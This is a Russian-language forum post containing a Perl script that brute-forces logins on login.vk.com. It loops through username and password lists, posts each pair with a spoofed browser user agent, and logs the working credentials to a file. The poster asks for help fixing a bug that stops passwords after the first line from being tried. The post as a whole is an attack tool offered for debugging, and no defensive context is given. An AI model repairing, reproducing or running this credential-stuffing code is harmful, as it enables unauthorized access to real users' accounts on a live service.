Здравствуйте,
помогите разобраться пожалуйста!!!
есть код
| Код |
#!/usr/bin/perl -w
#use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies;
use LWP;
use Getopt::Std;
use Parallel::ForkManager;
my %option;
getopts('u:p:h', \%option);
if(!$option{'u'} && !$option{'p'})
{
if($option{'h'})
{
&helper;
}
else
{
&usage;
}
}
# our($opt_u,$opt_p);
my $userlist = $option{'u'};
my $passlist = $option{'p'};
#*****************************OPEN FILE********************************
open(USERS, "<$userlist") || die ("Cannot open username file");
open(WORDS, "<$passlist") || die ("Cannot open password file");
@users= <USERS>;
@words= <WORDS>;
close(USERS);
close(WORDS);
$i=0;
foreach $user (@users) {
chomp($user);
foreach $pass (@words) {
chomp($pass);
my $browser = LWP::UserAgent->new();
printf ("\n%5d Trying $user:$pass", ++$i);
$browser->agent('Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1');
my $cookie_c = HTTP::Cookies -> new (file => 'lwp_cookies.dat',autosave => 1,);
$browser->cookie_jar($cookie_c);
my $responce=undef;
my $url = 'https://login.vk.com';
my $headers = HTTP::Headers->new(
Host=>'login.vk.com',
Content_Type => 'application/x-www-form-urlencoded',
Referer=>$url,
Accept=>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
);
my $content = 'username='.$user.'&password='.$pass.'';
my $req = HTTP::Request->new('POST',$url,$headers,$content);
my $res = $browser->request($req);
#printf ("\n%5d Trying $user:$pass", ++$i);
if($res->status_line=~m/302 Found/gi)
{
open (LOG, ">>good");
$time = time();
$loctime = localtime($time);
print LOG "\n";
print LOG "Время: $loctime\n";
print LOG "Логин: $user\n";
print LOG "Пароль: $pass\n\n";
close (LOG);
}
if($res->is_success)
{ }
else
{
if($res->status_line=~m/302 Found/gi)
{
die "[+] USERNAME \t[$user] \tPASSWORD \t[$pass]\t[ OK ]\n";
}
else
{
print $res->status_line."\n";
}
}
|
есть два файла
list и pass
данный код работает
если в pass первая строка указана правельно т.е. пароль
тогда он его пишет в файл good а если этот пароль написать во второй или любой последующей строчке то ничего не происходит.
получается что он только подставляет первую строку и всё((((
Помогите пжалуйста
|